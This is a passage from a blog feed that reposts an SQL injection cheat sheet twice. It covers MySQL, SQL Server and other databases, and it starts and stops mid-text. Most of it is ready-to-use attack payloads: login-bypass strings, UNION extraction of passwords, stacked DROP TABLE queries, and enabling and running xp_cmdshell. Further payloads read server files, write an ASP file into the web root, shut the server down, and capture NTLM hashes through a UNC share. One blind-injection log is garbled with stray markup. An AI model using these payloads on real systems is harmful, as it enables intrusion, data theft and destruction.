GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on&lt;br /&gt;   * If you are not getting any more error then it's done.&lt;br /&gt;&lt;br /&gt;Finding how many columns in SELECT query by ORDER BY (MSO+)&lt;br /&gt;&lt;br /&gt;Finding column number by ORDER BY can speed up the UNION SQL Injection process.&lt;br /&gt;&lt;br /&gt;   * ORDER BY 1--&lt;br /&gt;   * ORDER BY 2--&lt;br /&gt;   * ORDER BY N-- so on&lt;br /&gt;   * Keep going until get an error. Error means you found the number of selected columns.&lt;br /&gt;&lt;br /&gt;Data types, UNION, etc.&lt;br /&gt;Hints,&lt;br /&gt;&lt;br /&gt;   * Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.&lt;br /&gt;   * To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.&lt;br /&gt;   * Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.&lt;br /&gt;         o Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)&lt;br /&gt;&lt;br /&gt;Finding Column Type&lt;br /&gt;&lt;br /&gt;   * ' union select sum(columntofind) from users-- (S)&lt;br /&gt;     Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;     [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.&lt;br /&gt;&lt;br /&gt;     If you are not getting error it means column is numeric.&lt;br /&gt;&lt;br /&gt;   * Also you can use CAST() or CONVERT()&lt;br /&gt;         o SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--&lt;br /&gt;&lt;br /&gt;   * 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-&lt;br /&gt;     No Error - Syntax is right. MS SQL Server Used. Proceeding.&lt;br /&gt;&lt;br /&gt;   * 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-&lt;br /&gt;     No Error – First column is an integer.&lt;br /&gt;&lt;br /&gt;   * 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --&lt;br /&gt;     Error! – Second column is not an integer.&lt;br /&gt;&lt;br /&gt;   * 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-&lt;br /&gt;     No Error – Second column is a string.&lt;br /&gt;&lt;br /&gt;   * 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-&lt;br /&gt;     Error! – Third column is not an integer. ...&lt;br /&gt;&lt;br /&gt;     Microsoft OLE DB Provider for SQL Server error '80040e07'&lt;br /&gt;     Explicit conversion from data type int to image is not allowed.&lt;br /&gt;&lt;br /&gt;You’ll get convert() errors before union target errors ! So start with convert() then union&lt;br /&gt;Simple Insert (MSO+)&lt;br /&gt;'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*&lt;br /&gt;Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes&lt;br /&gt;&lt;br /&gt;@@version (MS)&lt;br /&gt;Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.&lt;br /&gt;&lt;br /&gt;INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)&lt;br /&gt;Bulk Insert (S)&lt;br /&gt;&lt;br /&gt;Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.&lt;br /&gt;&lt;br /&gt;        1. Create table foo( line varchar(8000) )&lt;br /&gt;        2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'&lt;br /&gt;        3. Drop temp table, and repeat for another file.&lt;br /&gt;&lt;br /&gt;BCP (S)&lt;br /&gt;&lt;br /&gt;Write text file. Login Credentials are required to use this function.&lt;br /&gt;bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar&lt;br /&gt;VBS, WSH in SQL Server (S)&lt;br /&gt;&lt;br /&gt;You can use VBS, WSH scripting in SQL Server because of ActiveX support.&lt;br /&gt;&lt;br /&gt;declare @o int&lt;br /&gt;exec sp_oacreate 'wscript.shell', @o out&lt;br /&gt;exec sp_oamethod @o, 'run', NULL, 'notepad.exe'&lt;br /&gt;Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --&lt;br /&gt;Executing system commands, xp_cmdshell (S)&lt;br /&gt;&lt;br /&gt;Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.&lt;br /&gt;&lt;br /&gt;EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'&lt;br /&gt;&lt;br /&gt;Simple ping check (configure your firewall or sniffer to identify request before launch it),&lt;br /&gt;&lt;br /&gt;EXEC master.dbo.xp_cmdshell 'ping '&lt;br /&gt;&lt;br /&gt;You can not read results directly from error or union or something else.&lt;br /&gt;Some Special Tables in SQL Server (S)&lt;br /&gt;&lt;br /&gt;   * Error Messages&lt;br /&gt;     master..sysmessages&lt;br /&gt;&lt;br /&gt;   * Linked Servers&lt;br /&gt;     master..sysservers&lt;br /&gt;&lt;br /&gt;   * Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )&lt;br /&gt;     SQL Server 2000: masters..sysxlogins&lt;br /&gt;     SQL Server 2005 : sys.sql_logins&lt;br /&gt;&lt;br /&gt;More Stored Procedures for SQL Server (S)&lt;br /&gt;&lt;br /&gt;  1. Cmd Execute (xp_cmdshell)&lt;br /&gt;     exec master..xp_cmdshell 'dir'&lt;br /&gt;&lt;br /&gt;  2. Registry Stuff (xp_regread)&lt;br /&gt;        1. xp_regaddmultistring&lt;br /&gt;        2. xp_regdeletekey&lt;br /&gt;        3. xp_regdeletevalue&lt;br /&gt;        4. xp_regenumkeys&lt;br /&gt;        5. xp_regenumvalues&lt;br /&gt;        6. xp_regread&lt;br /&gt;        7. xp_regremovemultistring&lt;br /&gt;        8. xp_regwrite&lt;br /&gt;           exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'&lt;br /&gt;           exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'&lt;br /&gt;&lt;br /&gt;  3. Managing Services (xp_servicecontrol)&lt;br /&gt;  4. Medias (xp_availablemedia)&lt;br /&gt;  5. ODBC Resources (xp_enumdsn)&lt;br /&gt;  6. Login mode (xp_loginconfig)&lt;br /&gt;  7. Creating Cab Files (xp_makecab)&lt;br /&gt;  8. Domain Enumeration (xp_ntsec_enumdomains)&lt;br /&gt;  9. Process Killing (need PID) (xp_terminate_process)&lt;br /&gt; 10. Add new procedure (virtually you can execute whatever you want)&lt;br /&gt;     sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’&lt;br /&gt;     exec xp_webserver&lt;br /&gt; 11. Write text file to a UNC or an internal path (sp_makewebtask)&lt;br /&gt;&lt;br /&gt;MSSQL Bulk Notes&lt;br /&gt;&lt;br /&gt;SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/&lt;br /&gt;&lt;br /&gt;DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0&lt;br /&gt;&lt;br /&gt;HOST_NAME()&lt;br /&gt;IS_MEMBER (Transact-SQL)&lt;br /&gt;IS_SRVROLEMEMBER (Transact-SQL)&lt;br /&gt;OPENDATASOURCE (Transact-SQL)&lt;br /&gt;&lt;br /&gt;INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"&lt;br /&gt;&lt;br /&gt;OPENROWSET (Transact-SQL)  - http://msdn2.microsoft.com/en-us/library/ms190312.aspx&lt;br /&gt;&lt;br /&gt;You can not use sub selects in SQL Server Insert queries.&lt;br /&gt;SQL Injection in LIMIT (M) or ORDER (MSO)&lt;br /&gt;&lt;br /&gt;SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;&lt;br /&gt;&lt;br /&gt;If injection is in second limit you can comment it out or use in your union injection&lt;br /&gt;Shutdown SQL Server (S)&lt;br /&gt;&lt;br /&gt;When you really pissed off, ';shutdown --&lt;br /&gt;Enabling xp_cmdshell in SQL Server 2005&lt;br /&gt;&lt;br /&gt;By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.&lt;br /&gt;&lt;br /&gt;EXEC sp_configure 'show advanced options',1&lt;br /&gt;RECONFIGURE&lt;br /&gt;&lt;br /&gt;EXEC sp_configure 'xp_cmdshell',1&lt;br /&gt;RECONFIGURE&lt;br /&gt;Finding Database Structure in SQL Server (S)&lt;br /&gt;Getting User defined Tables&lt;br /&gt;&lt;br /&gt;SELECT name FROM sysobjects WHERE xtype = 'U'&lt;br /&gt;Getting Column Names&lt;br /&gt;&lt;br /&gt;SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')&lt;br /&gt;Moving records (S)&lt;br /&gt;&lt;br /&gt;   * Modify WHERE and use NOT IN or NOT EXIST,&lt;br /&gt;     ... WHERE users NOT IN ('First User', 'Second User')&lt;br /&gt;     SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one&lt;br /&gt;&lt;br /&gt;   * Using Dirty Tricks&lt;br /&gt;     SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id&lt;=o.id) AS x, name from sysobjects o) as p where p.x=3) as int        Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id&lt;=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21    Fast way to extract data from Error Based SQL Injections in SQL Server (S)  ';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name&gt;@rd SELECT @rd AS rd into TMP_SYS_TMP end;--&lt;br /&gt;&lt;br /&gt;Detailed Article : Fast way to extract data from Error Based SQL Injections&lt;br /&gt;Blind SQL Injections&lt;br /&gt;About Blind SQL Injections&lt;br /&gt;&lt;br /&gt;In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.&lt;br /&gt;&lt;br /&gt;Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code&lt;br /&gt;Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.&lt;br /&gt;&lt;br /&gt;In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.&lt;br /&gt;Real and a bit Complex Blind SQL Injection Attack Sample&lt;br /&gt;&lt;br /&gt;This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.&lt;br /&gt;&lt;br /&gt;TRUE and FALSE flags mark queries returned true or false.&lt;br /&gt;&lt;br /&gt;TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&gt;78--&lt;br /&gt;&lt;br /&gt;FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&gt;103--&lt;br /&gt;&lt;br /&gt;TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&lt;103-- id =" 1" xtype="0x55" xtype="0x55)),1,1)),0)"&gt;89--&lt;br /&gt;&lt;br /&gt;TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&lt;89-- id =" 1" xtype="0x55" xtype="0x55)),1,1)),0)"&gt;83--&lt;br /&gt;&lt;br /&gt;TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&lt;83-- id =" 1" xtype="0x55" xtype="0x55)),1,1)),0)"&gt;80--&lt;br /&gt;&lt;br /&gt;FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&lt;80-- productid =" 1;waitfor" productid ="1);waitfor" productid ="1';waitfor" productid ="1');waitfor" productid ="1));waitfor" productid ="1'));waitfor" username =" 'root')" id="4" id="5-1" id="4" 1="1" name="Book" name="Bo’%2b’ok" name="Bo’" name="Book’" user =" ‘root’;" user_group =" 1;" user="1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1" user="1+union+select+benchmark(500000,sha1"&gt;&gt; 7) &amp;amp; 1, benchmark(100000,sha1('test')), 'false' );&lt;br /&gt;&lt;br /&gt;Potentially Useful MySQL Functions&lt;br /&gt;&lt;br /&gt;   * MD5()&lt;br /&gt;     MD5 Hashing&lt;br /&gt;   * SHA1()&lt;br /&gt;     SHA1 Hashing&lt;br /&gt;&lt;br /&gt;   * PASSWORD()&lt;br /&gt;   * ENCODE()&lt;br /&gt;   * COMPRESS()&lt;br /&gt;     Compress data, can be great in large binary reading in Blind SQL Injections.&lt;br /&gt;   * ROW_COUNT()&lt;br /&gt;   * SCHEMA()&lt;br /&gt;   * VERSION()&lt;br /&gt;     Same as @@version&lt;br /&gt;&lt;br /&gt;Second Order SQL Injections&lt;br /&gt;&lt;br /&gt;Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.&lt;br /&gt;&lt;br /&gt;Name : ' + (SELECT TOP 1 password FROM users ) + '&lt;br /&gt;Email : xx@xx.com&lt;br /&gt;&lt;br /&gt;If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.&lt;br /&gt;Forcing SQL Server to get NTLM Hashes&lt;br /&gt;&lt;br /&gt;This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain &amp;amp; Abel.&lt;br /&gt;Bulk insert from a UNC Share (S)&lt;br /&gt;bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'&lt;br /&gt;&lt;br /&gt;Check out Bulk Insert Reference to understand how can you use bulk insert.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-3493693864899260595?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2010/10/sql-injection.html</link><author>noreply@blogger.com (Dileep Varma)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-5672805926695755980</guid><pubDate>Thu, 14 Oct 2010 17:41:00 +0000</pubDate><atom:updated>2010-10-14T10:42:20.658-07:00</atom:updated><title></title><description>Find and exploit SQL Injections with Free SQL Injection Scanner&lt;br /&gt;&lt;br /&gt;SQL Injection Cheat Sheet, Document Version 1.4&lt;br /&gt;About SQL Injection Cheat Sheet&lt;br /&gt;&lt;br /&gt;Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.&lt;br /&gt;&lt;br /&gt;Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.&lt;br /&gt;M :  MySQL&lt;br /&gt;S :  SQL Server&lt;br /&gt;P :  PostgreSQL&lt;br /&gt;O :  Oracle&lt;br /&gt;+ :  Possibly all other databases&lt;br /&gt;Examples;&lt;br /&gt;&lt;br /&gt;   * (MS) means : MySQL and SQL Server etc.&lt;br /&gt;   * (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server&lt;br /&gt;&lt;br /&gt;Table Of Contents&lt;br /&gt;&lt;br /&gt;  1. About SQL Injection Cheat Sheet&lt;br /&gt;  2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks&lt;br /&gt;        1. Line Comments&lt;br /&gt;               * SQL Injection Attack Samples&lt;br /&gt;        2. Inline Comments&lt;br /&gt;               * Classical Inline Comment SQL Injection Attack Samples&lt;br /&gt;               * MySQL Version Detection Sample Attacks&lt;br /&gt;        3. Stacking Queries&lt;br /&gt;               * Language / Database Stacked Query Support Table&lt;br /&gt;               * About MySQL and PHP&lt;br /&gt;               * Stacked SQL Injection Attack Samples&lt;br /&gt;        4. If Statements&lt;br /&gt;               * MySQL If Statement&lt;br /&gt;               * SQL Server If Statement&lt;br /&gt;               * If Statement SQL Injection Attack Samples&lt;br /&gt;        5. Using Integers&lt;br /&gt;        6. String  Operations&lt;br /&gt;               * String Concatenation&lt;br /&gt;        7. Strings without Quotes&lt;br /&gt;               * Hex based SQL Injection Samples&lt;br /&gt;        8. String Modification &amp;amp; Related&lt;br /&gt;        9. Union Injections&lt;br /&gt;               * UNION – Fixing Language Issues&lt;br /&gt;       10. Bypassing Login Screens&lt;br /&gt;       11. Enabling xp_cmdshell in SQL Server 2005&lt;br /&gt;       12. Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.&lt;br /&gt;&lt;br /&gt;Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks&lt;br /&gt;Ending / Commenting Out / Line Comments&lt;br /&gt;Line Comments&lt;br /&gt;&lt;br /&gt;Comments out rest of the query.&lt;br /&gt;Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.&lt;br /&gt;&lt;br /&gt;   * -- (SM)&lt;br /&gt;     DROP sampletable;--&lt;br /&gt;&lt;br /&gt;   * # (M)&lt;br /&gt;     DROP sampletable;#&lt;br /&gt;&lt;br /&gt;Line Comments Sample SQL Injection Attacks&lt;br /&gt;&lt;br /&gt;   * Username: admin'--&lt;br /&gt;   * SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'&lt;br /&gt;     This is going to log you as admin user, because rest of the SQL query will be ignored.&lt;br /&gt;&lt;br /&gt;Inline Comments&lt;br /&gt;&lt;br /&gt;Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.&lt;br /&gt;&lt;br /&gt;   * /*Comment Here*/ (SM)&lt;br /&gt;         o DROP/*comment*/sampletable&lt;br /&gt;         o DR/**/OP/*bypass blacklisting*/sampletable&lt;br /&gt;         o SELECT/*avoid-spaces*/password/**/FROM/**/Members&lt;br /&gt;&lt;br /&gt;   * /*! MYSQL Special SQL */ (M)&lt;br /&gt;     This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.&lt;br /&gt;&lt;br /&gt;     SELECT /*!32302 1/0, */ 1 FROM tablename&lt;br /&gt;&lt;br /&gt;Classical Inline Comment SQL Injection Attack Samples&lt;br /&gt;&lt;br /&gt;   * ID: 10; DROP TABLE members /*&lt;br /&gt;     Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --&lt;br /&gt;&lt;br /&gt;   * SELECT /*!32302 1/0, */ 1 FROM tablename&lt;br /&gt;     Will throw an divison by 0 error if MySQL version is higher than 3.23.02&lt;br /&gt;&lt;br /&gt;MySQL Version Detection Sample Attacks&lt;br /&gt;&lt;br /&gt;   * ID: /*!32302 10*/&lt;br /&gt;   * ID: 10&lt;br /&gt;     You will get the same response if MySQL version is higher than 3.23.02&lt;br /&gt;&lt;br /&gt;   * SELECT /*!32302 1/0, */ 1 FROM tablename&lt;br /&gt;     Will throw an divison by 0 error if MySQL version is higher than 3.23.02&lt;br /&gt;&lt;br /&gt;Stacking Queries&lt;br /&gt;&lt;br /&gt;Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.&lt;br /&gt;&lt;br /&gt;   * ; (S)&lt;br /&gt;     SELECT * FROM members; DROP members--&lt;br /&gt;&lt;br /&gt;Ends a query and starts a new one.&lt;br /&gt;Language / Database Stacked Query Support Table&lt;br /&gt;&lt;br /&gt;green: supported, dark gray: not supported, light gray: unknown&lt;br /&gt;  SQL Server  MySQL  PostgreSQL  ORACLE  MS Access&lt;br /&gt;ASP              &lt;br /&gt;ASP.NET              &lt;br /&gt;PHP              &lt;br /&gt;Java              &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;About MySQL and PHP;&lt;br /&gt;To clarify some issues;&lt;br /&gt;PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?&lt;br /&gt;Stacked SQL Injection Attack Samples&lt;br /&gt;&lt;br /&gt;   * ID: 10;DROP members --&lt;br /&gt;   * SELECT * FROM products WHERE id = 10; DROP members--&lt;br /&gt;&lt;br /&gt;This will run DROP members SQL sentence after normal SQL Query.&lt;br /&gt;If Statements&lt;br /&gt;&lt;br /&gt;Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.&lt;br /&gt;MySQL If Statement&lt;br /&gt;&lt;br /&gt;   * IF(condition,true-part,false-part) (M)&lt;br /&gt;     SELECT IF(1=1,'true','false')&lt;br /&gt;&lt;br /&gt;SQL Server If Statement&lt;br /&gt;&lt;br /&gt;   * IF condition true-part ELSE false-part (S)&lt;br /&gt;     IF (1=1) SELECT 'true' ELSE SELECT 'false'&lt;br /&gt;&lt;br /&gt;If Statement SQL Injection Attack Samples&lt;br /&gt;&lt;br /&gt;if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)&lt;br /&gt;This will throw an divide by zero error if current logged user is not "sa" or "dbo".&lt;br /&gt;Using Integers&lt;br /&gt;&lt;br /&gt;Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.&lt;br /&gt;&lt;br /&gt;   * 0xHEXNUMBER (SM)&lt;br /&gt;     You can  write hex like these;&lt;br /&gt;&lt;br /&gt;     SELECT CHAR(0x66) (S)&lt;br /&gt;     SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)&lt;br /&gt;     SELECT 0x50 + 0x45 (this is integer now!) (M)&lt;br /&gt;&lt;br /&gt;String  Operations&lt;br /&gt;&lt;br /&gt;String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.&lt;br /&gt;String Concatenation&lt;br /&gt;&lt;br /&gt;   * + (S)&lt;br /&gt;     SELECT login + '-' + password FROM members&lt;br /&gt;&lt;br /&gt;   * || (*MO)&lt;br /&gt;     SELECT login || '-' || password FROM members&lt;br /&gt;&lt;br /&gt;*About MySQL "||";&lt;br /&gt;If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.&lt;br /&gt;&lt;br /&gt;   * CONCAT(str1, str2, str3, ...) (M)&lt;br /&gt;     Concatenate supplied strings.&lt;br /&gt;     SELECT CONCAT(login, password) FROM members&lt;br /&gt;&lt;br /&gt;Strings without Quotes&lt;br /&gt;&lt;br /&gt;These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.&lt;br /&gt;&lt;br /&gt;   * 0x457578 (M) - Hex Representation of string&lt;br /&gt;     SELECT 0x457578&lt;br /&gt;     This will be selected as string in MySQL.&lt;br /&gt;&lt;br /&gt;     In MySQL easy way to generate hex representations of strings use this;&lt;br /&gt;     SELECT CONCAT('0x',HEX('c:\\boot.ini'))&lt;br /&gt;&lt;br /&gt;   * Using CONCAT() in MySQL&lt;br /&gt;     SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)&lt;br /&gt;     This will return ‘KLM’.&lt;br /&gt;&lt;br /&gt;   * SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)&lt;br /&gt;     This will return ‘KLM’.&lt;br /&gt;&lt;br /&gt;Hex based SQL Injection Samples&lt;br /&gt;&lt;br /&gt;   * SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)&lt;br /&gt;     This will show the content of c:\boot.ini&lt;br /&gt;&lt;br /&gt;String Modification &amp;amp; Related&lt;br /&gt;&lt;br /&gt;   * ASCII() (SMP)&lt;br /&gt;     Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.&lt;br /&gt;&lt;br /&gt;     SELECT ASCII('a')&lt;br /&gt;&lt;br /&gt;   * CHAR() (SM)&lt;br /&gt;     Convert an integer of ASCII.&lt;br /&gt;&lt;br /&gt;     SELECT CHAR(64)&lt;br /&gt;&lt;br /&gt;Union Injections&lt;br /&gt;&lt;br /&gt;With union you do SQL queries cross-table. Basically you can poison query to return records from another table.&lt;br /&gt;&lt;br /&gt;SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members&lt;br /&gt;This will combine results from both news table and members table and return all of them.&lt;br /&gt;&lt;br /&gt;Another Example :&lt;br /&gt;' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--&lt;br /&gt;UNION – Fixing Language Issues&lt;br /&gt;&lt;br /&gt;While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.&lt;br /&gt;&lt;br /&gt;   * SQL Server (S)&lt;br /&gt;     Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.&lt;br /&gt;&lt;br /&gt;     SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members&lt;br /&gt;&lt;br /&gt;   * MySQL (M)&lt;br /&gt;     Hex() for every possible issue&lt;br /&gt;&lt;br /&gt;Bypassing Login Screens (SMO+)&lt;br /&gt;SQL Injection 101, Login tricks&lt;br /&gt;&lt;br /&gt;   * admin' --&lt;br /&gt;   * admin' #&lt;br /&gt;   * admin'/*&lt;br /&gt;   * ' or 1=1--&lt;br /&gt;   * ' or 1=1#&lt;br /&gt;   * ' or 1=1/*&lt;br /&gt;   * ') or '1'='1--&lt;br /&gt;   * ') or ('1'='1--&lt;br /&gt;   * ....&lt;br /&gt;&lt;br /&gt;   * Login as different user (SM*)&lt;br /&gt;     ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--&lt;br /&gt;&lt;br /&gt;*Old versions of MySQL doesn't support union queries&lt;br /&gt;Bypassing second MD5 hash check login screens&lt;br /&gt;&lt;br /&gt;If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.&lt;br /&gt;Bypassing MD5 Hash Check Example (MSP)&lt;br /&gt;&lt;br /&gt;Username : admin&lt;br /&gt;Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055&lt;br /&gt;&lt;br /&gt;81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)&lt;br /&gt;&lt;br /&gt;Error Based - Find Columns Names&lt;br /&gt;Finding Column Names with HAVING BY - Error Based (S)&lt;br /&gt;&lt;br /&gt;In the same order,&lt;br /&gt;&lt;br /&gt;   * ' HAVING 1=1 --&lt;br /&gt;   * ' GROUP BY table.columnfromerror1 HAVING 1=1 --&lt;br /&gt;   * ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --&lt;br /&gt;   * ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on&lt;br /&gt;   * If you are not getting any more error then it's done.&lt;br /&gt;&lt;br /&gt;Finding how many columns in SELECT query by ORDER BY (MSO+)&lt;br /&gt;&lt;br /&gt;Finding column number by ORDER BY can speed up the UNION SQL Injection process.&lt;br /&gt;&lt;br /&gt;   * ORDER BY 1--&lt;br /&gt;   * ORDER BY 2--&lt;br /&gt;   * ORDER BY N-- so on&lt;br /&gt;   * Keep going until get an error. Error means you found the number of selected columns.&lt;br /&gt;&lt;br /&gt;Data types, UNION, etc.&lt;br /&gt;Hints,&lt;br 